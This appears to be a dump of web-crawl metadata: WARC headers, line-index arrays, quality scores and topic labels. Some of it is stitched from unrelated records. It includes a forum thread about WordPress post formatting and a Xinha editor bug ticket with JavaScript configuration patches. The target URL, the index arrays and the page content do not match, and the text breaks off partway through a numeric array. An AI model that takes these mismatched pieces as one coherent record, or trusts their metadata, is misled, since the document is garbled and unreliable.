"WARC-Record-ID": "<urn:uuid:59032938-a148-4210-bcb9-2cd4f0019206>",
"WARC-Target-URI": "https://community.checkpoint.com:443/t5/SMB-Gateways-Spark/My-first-VPN-with-checkpoint-technology/m-p/94651#M4063",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:fb76edfe-9216-4efd-98c4-31c2bb3fbfbc>"
},
"warc_info": "isPartOf: CC-MAIN-2024-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-159\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
14,
21,
42,
62,
77,
84,
96,
97,
137,
138,
238,
239,
356,
357,
406,
457,
557,
558,
581,
607,
608,
632,
633,
644,
653,
659,
665,
666,
747,
842,
890,
891,
898,
910,
911,
1325,
1326,
1328,
1329,
1454,
1455,
1470,
1471,
1585,
1586,
1593,
1605,
1606,
1623,
1624,
1635,
1636,
1652,
1653,
1655,
1656,
1682,
1683,
1776,
1777,
1881,
1882,
1891,
1892,
1913,
1914,
2021,
2099,
2155,
2194,
2288,
2289,
2299,
2300,
2373,
2436,
2453,
2574,
2631,
2632,
2640,
2641,
2710,
2814,
2815,
2820,
2821,
2823,
2824,
2826,
2827,
2846,
2847,
2849,
2850,
2890,
2891,
2906,
2907,
2955,
2956,
2963,
2975,
2976,
3018,
3102,
3103,
3116,
3117,
3132,
3133,
3259,
3260,
3269,
3275,
3281,
3282,
3339,
3418,
3419,
3426,
3438,
3439,
3441,
3442,
3444,
3445,
3630,
3631,
3705,
3706,
3822,
3823,
3858,
3928,
3929,
3996,
4015,
4016,
4028,
4029,
4030,
4125,
4126,
4200,
4284,
4285,
4340,
4341,
4343,
4344,
4346,
4347,
4355,
4370,
4371,
4818,
4819,
4826,
4838,
4839,
4956,
4957,
5062,
5063,
5077,
5082,
5093,
5094,
5105,
5110,
5119,
5120,
5122,
5123,
5181,
5182,
5192,
5193,
5204,
5205,
5219,
5220,
5222,
5223,
5225,
5226,
5269,
5270,
5297,
5298,
5306,
5321,
5322,
5470,
5471,
5479,
5480,
5492,
5493,
5547,
5548,
5564,
5565
],
"line_end_idx": [
14,
21,
42,
62,
77,
84,
96,
97,
137,
138,
238,
239,
356,
357,
406,
457,
557,
558,
581,
607,
608,
632,
633,
644,
653,
659,
665,
666,
747,
842,
890,
891,
898,
910,
911,
1325,
1326,
1328,
1329,
1454,
1455,
1470,
1471,
1585,
1586,
1593,
1605,
1606,
1623,
1624,
1635,
1636,
1652,
1653,
1655,
1656,
1682,
1683,
1776,
1777,
1881,
1882,
1891,
1892,
1913,
1914,
2021,
2099,
2155,
2194,
2288,
2289,
2299,
2300,
2373,
2436,
2453,
2574,
2631,
2632,
2640,
2641,
2710,
2814,
2815,
2820,
2821,
2823,
2824,
2826,
2827,
2846,
2847,
2849,
2850,
2890,
2891,
2906,
2907,
2955,
2956,
2963,
2975,
2976,
3018,
3102,
3103,
3116,
3117,
3132,
3133,
3259,
3260,
3269,
3275,
3281,
3282,
3339,
3418,
3419,
3426,
3438,
3439,
3441,
3442,
3444,
3445,
3630,
3631,
3705,
3706,
3822,
3823,
3858,
3928,
3929,
3996,
4015,
4016,
4028,
4029,
4030,
4125,
4126,
4200,
4284,
4285,
4340,
4341,
4343,
4344,
4346,
4347,
4355,
4370,
4371,
4818,
4819,
4826,
4838,
4839,
4956,
4957,
5062,
5063,
5077,
5082,
5093,
5094,
5105,
5110,
5119,
5120,
5122,
5123,
5181,
5182,
5192,
5193,
5204,
5205,
5219,
5220,
5222,
5223,
5225,
5226,
5269,
5270,
5297,
5298,
5306,
5321,
5322,
5470,
5471,
5479,
5480,
5492,
5493,
5547,
5548,
5564,
5565,
5586
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5586,
"ccnet_original_nlines": 204,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.33851468563079834,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07685665041208267,
"rps_doc_frac_lines_end_with_ellipsis": 0.004878050182014704,
"rps_doc_frac_no_alph_words": 0.2089810073375702,
"rps_doc_frac_unique_words": 0.35863587260246277,
"rps_doc_mean_word_length": 4.765676498413086,
"rps_doc_num_sentences": 101,
"rps_doc_symbol_to_word_ratio": 0.0017271200194954872,
"rps_doc_unigram_entropy": 5.210017681121826,
"rps_doc_word_count": 909,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.07756233215332031,
"rps_doc_frac_chars_dupe_6grams": 0.05263157933950424,
"rps_doc_frac_chars_dupe_7grams": 0.021698979660868645,
"rps_doc_frac_chars_dupe_8grams": 0.021698979660868645,
"rps_doc_frac_chars_dupe_9grams": 0.021698979660868645,
"rps_doc_frac_chars_top_2gram": 0.012927049770951271,
"rps_doc_frac_chars_top_3gram": 0.004847649950534105,
"rps_doc_frac_chars_top_4gram": 0.015235460363328457,
"rps_doc_books_importance": -583.7095947265625,
"rps_doc_books_importance_length_correction": -583.7095947265625,
"rps_doc_openwebtext_importance": -306.57208251953125,
"rps_doc_openwebtext_importance_length_correction": -306.57208251953125,
"rps_doc_wikipedia_importance": -281.7501525878906,
"rps_doc_wikipedia_importance_length_correction": -281.7501525878906
},
"fasttext": {
"dclm": 0.07366014271974564,
"english": 0.8715725541114807,
"fineweb_edu_approx": 1.2544020414352417,
"eai_general_math": 0.02586817927658558,
"eai_open_web_math": 0.13515275716781616,
"eai_web_code": 0.024825040251016617
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.822",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.67",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-1,445,683,820,816,775,200 | 7 replies
• WEB DESIGN
• |
I'm really getting frustrated because my posts seem to take way too much effort to get them formatted correctly. The real issue I'm having is spacing between paragraphs.
So first I select the visual tab, paste the text in, then get the spacing between paragraphs correct. When I click update, the spacing changes completely. Then I redo it, click update and it looks good. But when I look at the post on the site, the paragraph spacing is totally screwed up.
What am I doing wrong? Is there an easy solution or is this just a limitation with WP?
Thanks!
#formatting #posts
• Paul,
For the most part it is an issue with WP and (to the best of my knowledge) there isn’t anything you can do about it. I have worked around it from time to time by using the text editor instead of the wysiwyg editor. Sometimes you will notice arbitrary code in there when you switch back and forth from text to visual editor.
Perhaps someone else knows of a fix or better work around.
Best,
Shawn
Signature
Outsource to the experts...
We customize your Blog, eBook, Press Release and Sale Copy content with your message.
{{ DiscussionBoard.errors[8359415].message }}
• Profile picture of the author yestyle
Banned
Originally Posted by PaulintheSticks View Post
I'm really getting frustrated because my posts seem to take way too much effort to get them formatted correctly. The real issue I'm having is spacing between paragraphs.
So first I select the visual tab, paste the text in, then get the spacing between paragraphs correct. When I click update, the spacing changes completely. Then I redo it, click update and it looks good. But when I look at the post on the site, the paragraph spacing is totally screwed up.
What am I doing wrong? Is there an easy solution or is this just a limitation with WP?
Thanks!
It's diferent between editor and html mode when you saved your post. Check again and you need to save in html editor.
{{ DiscussionBoard.errors[8359460].message }}
• Profile picture of the author thememass
I think there are some problems with your style.css file. Try to adjust line-height, padding, margin of your paragraphs
{{ DiscussionBoard.errors[8359767].message }}
• Profile picture of the author Jack Gordon
This is a common frustration in Wordpress. With everything they get right, you'd think they could do better with their wysiwyg editor.
Try switching to the text editor, adding an extra line between paragraphs, then putting this code on that line:
{{ DiscussionBoard.errors[8359796].message }}
• Profile picture of the author curationsoft
maybe it will fix everything if you change your wordpress theme, or you can try editing it on html editor.
{{ DiscussionBoard.errors[8359947].message }}
• Profile picture of the author RobinInTexas
Many themes allow a custom css file. If your theme does, add a css file and add an entry for the paragraph used in the posts.
Using the theme Twenty Twelve as an example, it uses <div class="entry-content"> for the posts.
The css code to add in that case would be
Code:
p.entry-content {margin-top:10px;
margin-bottom:1px;
margin-right:1px;
margin-left:1px;
padding-top:1px;
padding-bottom:10px;
padding-right:1px;
padding-left:1px;}
You can adjust the spacing of/around the paragraphs precisely by adjusting the margins and or padding.
If your theme does not provide for adding custom css entries, you can do it by creating a child theme and adding an entry as above to the child theme stylesheet.
Signature
Robin
...Even if you're on the right track, you'll get run over if you just set there.
{{ DiscussionBoard.errors[8361366].message }}
Trending Topics | {
"url": "https://www.warriorforum.com/website-design/825059-formatting-wp-posts.html",
"source_domain": "www.warriorforum.com",
"snapshot_id": "CC-MAIN-2024-10",
"warc_metadata": {
"Content-Length": "248686",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CDIK6QWJ54HES5XZG64QH3JY7BTH6T6D",
"WARC-Concurrent-To": "<urn:uuid:aaab22ec-d695-480c-948c-5c9924a4a5b5>",
"WARC-Date": "2024-02-25T21:32:13Z",
"WARC-IP-Address": "52.5.105.240",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:LC5BVZJMGA2EGCJ4YE4PDKG5SZWDIMZV",
"WARC-Record-ID": "<urn:uuid:2bce7554-f1a0-4228-907d-42a072169b3a>",
"WARC-Target-URI": "https://www.warriorforum.com/website-design/825059-formatting-wp-posts.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:f56d670e-fb53-425b-92c4-1f79b86d63b2>"
},
"warc_info": "isPartOf: CC-MAIN-2024-10\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for February/March 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-154\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
10,
25,
31,
201,
202,
491,
492,
579,
580,
588,
607,
617,
618,
946,
947,
1010,
1011,
1021,
1022,
1032,
1046,
1078,
1079,
1169,
1170,
1220,
1262,
1273,
1324,
1325,
1499,
1500,
1793,
1794,
1885,
1886,
1898,
2020,
2070,
2114,
2238,
2288,
2334,
2473,
2474,
2597,
2647,
2694,
2805,
2855,
2904,
3036,
3037,
3139,
3140,
3188,
3200,
3240,
3265,
3289,
3312,
3335,
3362,
3387,
3412,
3521,
3522,
3690,
3706,
3707,
3719,
3720,
3721,
3722,
3809,
3861,
3862
],
"line_end_idx": [
10,
25,
31,
201,
202,
491,
492,
579,
580,
588,
607,
617,
618,
946,
947,
1010,
1011,
1021,
1022,
1032,
1046,
1078,
1079,
1169,
1170,
1220,
1262,
1273,
1324,
1325,
1499,
1500,
1793,
1794,
1885,
1886,
1898,
2020,
2070,
2114,
2238,
2288,
2334,
2473,
2474,
2597,
2647,
2694,
2805,
2855,
2904,
3036,
3037,
3139,
3140,
3188,
3200,
3240,
3265,
3289,
3312,
3335,
3362,
3387,
3412,
3521,
3522,
3690,
3706,
3707,
3719,
3720,
3721,
3722,
3809,
3861,
3862,
3877
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3877,
"ccnet_original_nlines": 77,
"rps_doc_curly_bracket": 0.006706220097839832,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37532132863998413,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02699228934943676,
"rps_doc_frac_lines_end_with_ellipsis": 0.012820510193705559,
"rps_doc_frac_no_alph_words": 0.2030848264694214,
"rps_doc_frac_unique_words": 0.4136752188205719,
"rps_doc_mean_word_length": 4.911110877990723,
"rps_doc_num_sentences": 52,
"rps_doc_symbol_to_word_ratio": 0.005141390021890402,
"rps_doc_unigram_entropy": 5.070631504058838,
"rps_doc_word_count": 585,
"rps_doc_frac_chars_dupe_10grams": 0.30490776896476746,
"rps_doc_frac_chars_dupe_5grams": 0.35015663504600525,
"rps_doc_frac_chars_dupe_6grams": 0.35015663504600525,
"rps_doc_frac_chars_dupe_7grams": 0.30490776896476746,
"rps_doc_frac_chars_dupe_8grams": 0.30490776896476746,
"rps_doc_frac_chars_dupe_9grams": 0.30490776896476746,
"rps_doc_frac_chars_top_2gram": 0.01044205017387867,
"rps_doc_frac_chars_top_3gram": 0.0261051207780838,
"rps_doc_frac_chars_top_4gram": 0.02958579920232296,
"rps_doc_books_importance": -342.94061279296875,
"rps_doc_books_importance_length_correction": -342.94061279296875,
"rps_doc_openwebtext_importance": -185.04891967773438,
"rps_doc_openwebtext_importance_length_correction": -185.04891967773438,
"rps_doc_wikipedia_importance": -146.57664489746094,
"rps_doc_wikipedia_importance_length_correction": -146.57664489746094
},
"fasttext": {
"dclm": 0.0182725191116333,
"english": 0.8823838829994202,
"fineweb_edu_approx": 1.4237722158432007,
"eai_general_math": 0.3759586811065674,
"eai_open_web_math": 0.226734459400177,
"eai_web_code": 0.15036219358444214
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
33,867,638,205,879,290 | Opened 8 years ago
Closed 8 years ago
#1541 closed defect (fixed)
Allow more flexible configuration for formatblock options
Reported by: ejucovy Owned by: gogo
Priority: normal Milestone: 0.97
Component: Xinha Core Version: trunk
Severity: normal Keywords:
Cc:
Description
On my site we added a formatblock option "Pullquote." This wraps the selection in a <div class="pullquote">, and we have CSS that floats it to the right.
We had to modify XinhaCore.js internals to support this option to formatblock, for the following reasons:
1. Since we're applying HTML that isn't just a tag name, we can't use a simple string to represent it in the formatblock config. Instead we had to provide a callback function to do the modification.
2. Since other formatblock styles like heading, subheading, etc can be applied to elements within a pullquote, we had to use custom logic for detecting whether the current context is within a pullquote or not.
3. We also had to use custom logic to deal with users selecting the "normal" option when the current context is within a pullquote, since that should remove the pullquote.
The attached patch is what we came up with. Currently the formatblock config's values are strings (HTML tag names) always. With the patch they can instead be objects with three items:
• tag: string, HTML tag name to be applied
• detect: callback function(xinha, el), with boolean return value, called to determine if the current cursor context is within this formatblock option
• invoke: callback function(xinha), which is executed (instead of execCommand) when the formatblock option is selected
I don't love this patch .. it seems poorly encapsulated, and I don't like putting so much code in the config.js -- I'd rather register it in a plugin somehow. But I'm not sure how to take a better approach.
The attached patch also contains the snippet from our xinhaconfig.js, to demonstrate the use.
Attachments (2)
formatblock.diff (3.0 KB) - added by guest 8 years ago.
formatblock.2.diff (3.1 KB) - added by ejucovy 8 years ago.
a much simpler patch that lets me accomplish the same thing more elegantly
Download all attachments as: .zip
Change History (9)
Changed 8 years ago by guest
comment:1 Changed 8 years ago by guest
Actually, instead of cluttering the patch with the example usage, I'll just put it here -- this is our xinha_config.formatblock setting, with the "sidebar" option that requires the submitted patch. (Note that the patch is fully backwards-compatible.)
xinha_config.formatblock = {
'Normal' : {tag: 'p',
invoker: function (xinha) {
var blockquote = null
var firstparent = xinha.getParentElement();
if (firstparent.tagName != 'H2' && firstparent.tagName != 'H3' && firstparent.tagName != 'PRE') {
blockquote = firstparent;
while (blockquote !== null && blockquote.className.trim() != 'pullquote')
{
blockquote = blockquote.parentNode;
}
}
if (blockquote)
{
var blockParent = blockquote.parentNode;
var firstChild = null;
while (blockquote.childNodes.length) {
if (firstChild === null)
{
firstChild = blockquote.childNodes[0];
}
blockParent.insertBefore(blockquote.childNodes[0], blockquote);
}
blockParent.removeChild(blockquote);
if (firstChild !== null)
{
// FIXME: this selects the entire first node, instead of just placing the
// cursor at the beginning (or at the previous location where the cursor was).
// Without this, the cursor hangs off to the side of the screen, where the
// blockquote once had been.
xinha.selectNodeContents(firstChild);
}
}
else
{
if( !Xinha.is_gecko)
{
xinha.execCommand('formatblock', false, '<p>');
}
else
{
xinha.execCommand('formatblock', false, 'p');
}
}
},
// always return false, to give others a chance to override
// if nobody else thinks they should be selected, then it will default
// to normal because it comes first
detect: function(xinha, el) { return false; }
},
'Heading' : 'h2',
'Subheading' : 'h3',
'Pre-formatted' : 'pre',
'Sidebar' : {tag: 'div',
invoker: function (xinha) {
var el = xinha.getParentElement();
if (el.tagName.toUpperCase() == 'BODY')
{
//put div around selection
if (xinha.hasSelectedText()){
selhtml = xinha.getSelectedHTML();
newhtml = '<div class="pullquote">' + selhtml + '</div>';
xinha.insertHTML(newhtml);
}
}
else
{
//put div around current block
while (el !== null & !Xinha.isBlockElement(el)){
el = el.parentNode;
}
if (el) {
el_parent = el.parentNode;
div = xinha._doc.createElement('div');
div.className = "pullquote";
el_parent.replaceChild(div, el);
div.appendChild(el);
}
}
xinha.updateToolbar()
},
detect: function (xinha, el) {
while (el !== null) {
if (el.nodeType == 1 && el.tagName.toUpperCase() == 'DIV') {
return /\bpullquote\b/.test(el.className);
}
el = el.parentNode;
}
return false;
}
}
};
Changed 8 years ago by ejucovy
a much simpler patch that lets me accomplish the same thing more elegantly
comment:2 Changed 8 years ago by ejucovy
• Cc ejucovy@… removed
• Milestone set to 0.97
• Reporter changed from guest to ejucovy
Oof. I've attached a better patch that accomplishes the same thing with much fewer (and completely localized!) core changes, and a much simpler configuration framework.
The two big realizations that allowed me to simplify were:
1. For the actual work of performing a custom/complex formatblock command, we can call out to a plugin's onExecCommand("formatblock", false, "<mycustomcommand>") event hook. The plugin's onExecCommand method just needs to listen for cmdID=="formatblock" plus whatever custom commands it wants to handle, and return true after handling them (to prevent core from trying to handle the command).
2. The core code for figuring out which formatblock pulldown option to mark as selected, is duplicating logic: first it calls editor._getFirstAncestor(el, array_of_tag_names_or_detection_functions) and then, if any of the elements from that array match, it iterates through that same array to figure out which item in it was the match. If we just modify the signature of editor._getFirstAncestor to return both the ancestor and the index of the matching item, this code can look a lot simpler.
comment:3 Changed 8 years ago by ejucovy
And, with this new patch, here's my snippet of configuration (equivalent to the one posted above in comment:1, but much cleaner I think)
var execNoSidebar = function (xinha) {
var blockquote = null
var firstparent = xinha.getParentElement();
if (firstparent.tagName != 'H2' &&
firstparent.tagName != 'H3' && firstparent.tagName != 'PRE') {
blockquote = firstparent;
while (blockquote !== null && blockquote.className.trim() != 'pullquote') {
blockquote = blockquote.parentNode;
}
}
if (blockquote) {
var blockParent = blockquote.parentNode;
var firstChild = null;
while (blockquote.childNodes.length) {
if (firstChild === null) {
firstChild = blockquote.childNodes[0];
}
blockParent.insertBefore(blockquote.childNodes[0], blockquote);
}
blockParent.removeChild(blockquote);
if (firstChild !== null) {
// FIXME: this selects the entire first node, instead of just placing the
// cursor at the beginning (or at the previous location where the cursor was).
// Without this, the cursor hangs off to the side of the screen, where the
// blockquote once had been.
xinha.selectNodeContents(firstChild);
}
} else {
if( !Xinha.is_gecko) {
xinha.execCommand('formatblock', false, '<p>');
} else {
xinha.execCommand('formatblock', false, 'p');
}
}
};
var execSidebar = function( xinha ) {
var el = xinha.getParentElement();
if (el.tagName.toUpperCase() == 'BODY') {
//put div around selection
if (xinha.hasSelectedText()){
selhtml = xinha.getSelectedHTML();
newhtml = '<div class="pullquote">' + selhtml + '</div>';
xinha.insertHTML(newhtml);
}
} else {
//put div around current block
while (el !== null & !Xinha.isBlockElement(el)) {
el = el.parentNode;
}
if (el) {
el_parent = el.parentNode;
div = xinha._doc.createElement('div');
div.className = "pullquote";
el_parent.replaceChild(div, el);
div.appendChild(el);
}
}
xinha.updateToolbar()
};
xinha_config.formatblock = {
'Normal': 'nosidebar',
'Heading': 'h2',
'Subheading': 'h3',
'Pre-formatted': 'pre',
'Sidebar': 'sidebar'
};
xinha_config.Events.onExecCommand = function(cmdID, UI, param) {
if( cmdID != 'formatblock' ) {
return false;
}
if( param != '<nosidebar>' && param != '<sidebar>' ) {
return false;
}
if( param == '<nosidebar>' ) {
execNoSidebar(this);
return true;
}
if( param == '<sidebar>' ) {
execSidebar(this);
return true;
}
};
xinha_config.formatblockDetector['nosidebar'] = function() {
return false;
};
xinha_config.formatblockDetector['sidebar'] = function(xinha, el) {
console.log("fleem");
while (el !== null) {
if (el.nodeType == 1 && el.tagName.toUpperCase() == 'DIV') {
console.log(el);
return /\bpullquote\b/.test(el.className);
}
el = el.parentNode;
}
return false;
};
comment:4 Changed 8 years ago by ejucovy
The patch still needs some cleanup and better self-documentation, but I think this is a reasonable approach now. Certainly it's on the right track, closer than the original patch. But, I should see what I think of it after I've gotten some sleep..
comment:5 Changed 8 years ago by ejucovy
To help summarize the changes here and what they'd accomplish, I wrote a tutorial-style article, on how to configure the formatblock dropdown with custom options:
http://www.coactivate.org/projects/xinha/custom-formatblock-options
I'm happy with this approach now -- it uses existing infrastructure where possible, and the new configuration option that it adds is unobtrusive and pretty self-explanatory.
There are a lot of moving parts for a user to keep track of if he wants to do this customization (as the article shows!) but I think it has a good separation of concerns, and when it's done the whole thing can be packaged up nicely in a plugin.
Of course most users won't ever want to do this. But it works well for those who do.
I can also imagine (pretty easily) another layer being built in the future which simplifies some of this and packages it together more closely, to make it a little easier for a user to accomplish. There's no need to build that now, but it could even be built as a plugin to experiment first.
comment:6 Changed 8 years ago by ejucovy
In r1289, I committed the first part of my patch. This doesn't add any functionality or new configuration options. It just refactors editor._getFirstAncestor by moving that method's logic into a new function, editor._getFirstAncestorAndWhy.
The new function returns a 2-item array: the second item is an integer index, which, combined with the "types" argument that was passed in to the function, can be used to identify what tag-or-callback the returned "first ancestor" matched. _getFirstAncestor still has the same interface as before -- it just calls _getFirstAncestorAndWhy, throws away the second element from the resulting array, and returns the first.
This simplifies, and slightly optimizes, the formatblock logic in updateToolbar -- which previously repeated the whole "matching" logic that had just been done in _getFirstAncestor.
comment:7 Changed 8 years ago by ejucovy
• Resolution set to fixed
• Status changed from new to closed
After mulling it over for a few days I'm still pretty happy with this approach, so I've committed r1296 which adds the xinha_config.formatblockDetector option.
Note: See TracTickets for help on using tickets. | {
"url": "http://trac.xinha.org/ticket/1541",
"source_domain": "trac.xinha.org",
"snapshot_id": "crawl=CC-MAIN-2018-51",
"warc_metadata": {
"Content-Length": "41013",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:MZHU5VFCNDPTUC6CL5RWVFWPCPQUQNYW",
"WARC-Concurrent-To": "<urn:uuid:09a76b38-57e7-42f5-b998-f7189700440b>",
"WARC-Date": "2018-12-13T08:40:12Z",
"WARC-IP-Address": "207.38.86.245",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:Z44GQMU6TI4PK46RZED2ZYQ7WWZK43VT",
"WARC-Record-ID": "<urn:uuid:63025848-1408-476a-a13a-178d28d57984>",
"WARC-Target-URI": "http://trac.xinha.org/ticket/1541",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5451f8f1-2d13-45f1-b6b0-9bebf8bdae08>"
},
"warc_info": "isPartOf: CC-MAIN-2018-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-146-95-138.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
19,
20,
39,
40,
68,
69,
127,
128,
164,
197,
234,
261,
265,
266,
278,
279,
433,
434,
540,
541,
742,
954,
1128,
1129,
1313,
1314,
1359,
1512,
1633,
1634,
1841,
1842,
1936,
1937,
1953,
1954,
2010,
2070,
2145,
2146,
2180,
2181,
2200,
2201,
2230,
2231,
2270,
2271,
2522,
2523,
2554,
2582,
2628,
2672,
2738,
2858,
2910,
3010,
3038,
3104,
3132,
3156,
3194,
3218,
3285,
3334,
3399,
3454,
3486,
3559,
3591,
3685,
3713,
3776,
3827,
3855,
4383,
4911,
5439,
5967,
6035,
6063,
6087,
6114,
6138,
6185,
6213,
6291,
6319,
6350,
6378,
6454,
6482,
6506,
6527,
7055,
7583,
8111,
8175,
8195,
8219,
8246,
8277,
8308,
8358,
8419,
8485,
8513,
9041,
9101,
9170,
9262,
9323,
9355,
9383,
9414,
9442,
9970,
10049,
10103,
10135,
10175,
10236,
10309,
10372,
10439,
10494,
10526,
10554,
10602,
10627,
10680,
10726,
10813,
10884,
10912,
10958,
10984,
11022,
11046,
11069,
11074,
11075,
11106,
11107,
11182,
11183,
11224,
11225,
11250,
11276,
11319,
11320,
11489,
11490,
11549,
11550,
11945,
12441,
12442,
12483,
12484,
12621,
12622,
12663,
12689,
12737,
12776,
12847,
12881,
12965,
13013,
13023,
13029,
13051,
13100,
13131,
13178,
13217,
13272,
13286,
13362,
13372,
13417,
13452,
13650,
13848,
14046,
14244,
14294,
14304,
14317,
14348,
14408,
14425,
14483,
14493,
14499,
14504,
14505,
14545,
14584,
14630,
14828,
14866,
14913,
14983,
15022,
15032,
15045,
15243,
15301,
15333,
15343,
15361,
15400,
15451,
15492,
15537,
15570,
15580,
15586,
15612,
15617,
15618,
15649,
15678,
15701,
15727,
15757,
15784,
15789,
15790,
15857,
15894,
15918,
15926,
15987,
16011,
16019,
16056,
16087,
16110,
16118,
16153,
16182,
16205,
16213,
16218,
16219,
16282,
16302,
16307,
16377,
16405,
16433,
16504,
16535,
16592,
16604,
16634,
16642,
16662,
16667,
16668,
16709,
16710,
16958,
16959,
17000,
17001,
17164,
17165,
17233,
17234,
17408,
17409,
17654,
17655,
17740,
17741,
18033,
18034,
18075,
18076,
18317,
18318,
18737,
18738,
18920,
18921,
18962,
18963,
18991,
19029,
19030,
19190,
19191
],
"line_end_idx": [
19,
20,
39,
40,
68,
69,
127,
128,
164,
197,
234,
261,
265,
266,
278,
279,
433,
434,
540,
541,
742,
954,
1128,
1129,
1313,
1314,
1359,
1512,
1633,
1634,
1841,
1842,
1936,
1937,
1953,
1954,
2010,
2070,
2145,
2146,
2180,
2181,
2200,
2201,
2230,
2231,
2270,
2271,
2522,
2523,
2554,
2582,
2628,
2672,
2738,
2858,
2910,
3010,
3038,
3104,
3132,
3156,
3194,
3218,
3285,
3334,
3399,
3454,
3486,
3559,
3591,
3685,
3713,
3776,
3827,
3855,
4383,
4911,
5439,
5967,
6035,
6063,
6087,
6114,
6138,
6185,
6213,
6291,
6319,
6350,
6378,
6454,
6482,
6506,
6527,
7055,
7583,
8111,
8175,
8195,
8219,
8246,
8277,
8308,
8358,
8419,
8485,
8513,
9041,
9101,
9170,
9262,
9323,
9355,
9383,
9414,
9442,
9970,
10049,
10103,
10135,
10175,
10236,
